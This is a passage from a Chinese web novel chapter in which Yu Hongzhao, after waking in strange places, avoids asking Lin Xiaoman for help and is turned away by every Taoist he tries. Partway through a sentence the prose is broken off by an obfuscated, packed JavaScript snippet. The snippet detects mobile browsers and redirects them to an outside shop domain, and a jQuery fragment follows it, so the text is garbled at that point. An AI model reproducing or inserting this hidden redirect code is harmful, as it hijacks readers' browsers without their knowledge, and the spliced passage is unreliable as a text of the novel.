俞洪明脸上露出一丝后怕和难以置信的神色,压低了声音道: “洪照说……他连续好几日晚上睡觉时,明明是好好的躺在床上,门窗也都关得好好的,可……可第二天一早醒来,却发现自己身在别处!” “有时是在书房的地上,有时是在后院的石凳旁……起初他还以为是自己梦游,可他从无此症。而且位置每次都不同,毫无规律可言。” 俞洪明的语气带着一丝颤抖,“最严重的是今日早晨!他醒来之后,发现自己……发现自己竟然躺在府门外的大街上!还是清晨开门的管家发现了他,才赶紧将他扶了进来!” “什么?!躺在府门外?”沈清秋惊得捂住了嘴,林知鸳也倒吸了一口凉气。 好好一个大活人,睡在自己家里,一觉醒来却在府外大街上?这已经不是简单的梦游能解释的了! 第二百一十八章 生死劫难 俞洪明还在继续说,脸上带着几分无奈和急切: “我想着小满你不是懂这些玄乎事儿嘛,所以今日过来,就是想请你去府里看看洪照这到底是怎么回事。 可谁曾想,我这边刚跟他提了一嘴,说想请你去瞧瞧,他自己倒好,二话不说,扭头就跑出去了! 我问他干嘛去,他支支吾吾,只说……只说他也认识一个什么道法高深的朋友,要先去寻那位朋友来看看……唉,这真是……” 他重重叹了口气,对弟弟这明显不信任林小满、临阵另寻他人的行为感到既生气又无奈。 林小满听了,脸上依旧没什么波澜,只是淡淡地道: “既然这样,那便让他先去找其他人吧。他若是能解决,那便给他解决了。若是解决不了……” 她顿了顿,语气平缓却带着一丝不易察觉的冷意,“你再来找我也不迟。他人没过来,我给他解决不了问题。” 她这话说得明白,当事人不亲自来,不信她,她自然不会上赶着去管这闲事。 …… 此时的俞洪照,正焦急地在一间酒楼雅室内来回踱步。 这几日接连发生的诡异事件,依旧让他心口发颤,后背发凉。 他虽然害怕,但内心深处却对兄长俞洪明提及的林小满颇为不屑,甚至带着抵触。 那林小满自打回了京城,就把京城搅得天翻地覆!多少人家因为她而鸡犬不宁,甚至家破人亡? 俞洪照在心里腹诽,更何况她还公开和昭华郡主作对!和郡主作对之人,能有什么好下场?定然是个祸害!我就算真撞了邪,也绝不可能去找她!’ 他口中所谓的“道长好友”自然是托词,但他确实想起了一个人。 目前在宫中,身为国师弟子的青阳道长!青阳道长师承国师,道法定然高深正统,定能解决他的麻烦! 他在雅室里焦躁地等了许久,茶水换了好几盏,才终于听到敲门声。 他心中一喜,以为是青阳道长来了,连忙整理了一下衣袍,快步上前打开门。 然而,出现在门外的并非他期盼的青阳道长,而是一个面容陌生、身着宫中侍卫服饰的男子。 那侍卫见到他,先行了一礼,态度不卑不亢:“俞二老爷。” 俞洪照心中升起不好的预感,但还是客气地问道:“这位侍卫大哥,可是青阳道长让你来的?” 侍卫点了点头,语气平稳地传达道:“青阳道长让属下转告二老爷,他这些日子奉师命在忙一件紧要之事,实在无法抽身前来。道长还说……” 侍卫顿了顿,看着俞洪照瞬间僵住的脸色,继续道, “若二老爷您确实需要帮助,可以去林相府上,寻林二小姐——林小满。道长说,林二小姐于此道颇有造诣,或可解您之忧。” 俞洪照听完这番话,整个人都懵了,脸上的血色瞬间褪尽。 他千算万算,绕了一大圈,最后得到的指引,竟然还是那个他极力想避开的人林小满! 俞洪照怎么也没想到会是这样的结果,整个人都僵在了原地,只觉得荒谬又憋屈。 找林小满?这是绝对不可能的! 他勉强维持着镇定,向那侍卫道了谢,待侍卫离开后,他烦躁地在雅室里又转了好几圈,胸口堵着一股无名火。让他去求林小满?简直笑话! 他就不信,除了林小满,这京城就没人能解决他的问题了! 他直接出了酒楼,马不停蹄地又去寻了京城里几位颇有些名气的道长、法师。 然而,那些人一听他描述的症状,再一听他是俞府的二老爷,要么是面露难色,表示无能为力; 要么是眼神闪烁,支支吾吾,最后竟都隐晦地建议他……去找国师一脉的人看看。 “二老爷,您这情况听着非同一般,非寻常法术可解啊……” “是啊,国师道法通玄,或其高徒青阳道长,或可一试……”“如今国师闭关,您或许可以试着求见一下青阳道长……” 兜来兜去,最后的话锋竟然又指向了青阳!而青阳给他的指引,偏偏是林小满! 俞洪照碰了一鼻子灰,心中又惊又惧,那股诡异的寒意仿佛随着每一次被拒绝而更深地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623865|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渗入骨髓。 他在外面奔波了一整天,直到日头偏西,身心俱疲,却毫无所获。 最终,他咬了咬牙,还是厚着脸皮,递了牌子,决定亲自进宫再去求见青阳道长一面。 他就不信,亲自去求,青阳还能把他往外推?! …… 这消息不知怎的,竟飞快地传到了小花的耳朵里。 她像只偷到腥的猫儿,兴冲冲地跑到正在院子里悠闲喂鱼的林小满身旁,叽叽喳喳地把俞洪照在外面到处碰壁、最后又灰溜溜去找青阳的事情添油加醋地说了一遍。 “小满小满!你是没看到那个俞洪照的狼狈样!哼,让他不信我们!让他瞧不起人!活该他到处吃闭门羹!” 小花气鼓鼓地叉着腰,“要我说啊,他就算现在真拉下脸来找我们了,我们也绝对不帮他!让他自己折腾去!” 林小满将最后一点鱼食撒进池中,看着锦鲤争相抢食,头也没抬,语气平淡无波: “他肯定还会回来找我们的。” “啊?为什么?”小花不解。 林小满这才侧过头,看了小花一眼, “就他遇到的事情,不是一般人能解决的。那些江湖术士,趋吉避凶最是在行,感觉到棘手,自然不敢沾染。 青阳……他既然之前让你带话,如今就算俞洪照亲自去求,他多半也不会插手。所以,最后他走投无路,只能来找我们。” 小花听了,虽然觉得解气,但还是嘟着嘴发牢骚: “哼!就算他回来找又怎么样?不相信我们的人,凭什么帮他?到时候他来了,我就把门关上,让他吃闭门羹! 让他也知道知道求人该是什么态度!想当初我们好心帮忙,他还挑三拣四,真是岂有此理!” 小花眨了眨眼,像是突然想起了什么,凑近林小满压低声音问道: “对了小满,那上次俞老太君突然把寿辰提前……不会也和俞洪照这事儿有关吧?我怎么总觉得俞府最近怪怪的?先是老太君寿辰提前,然后又冒出茹儿那档子事,现在俞洪照又遇上这种邪门事儿……”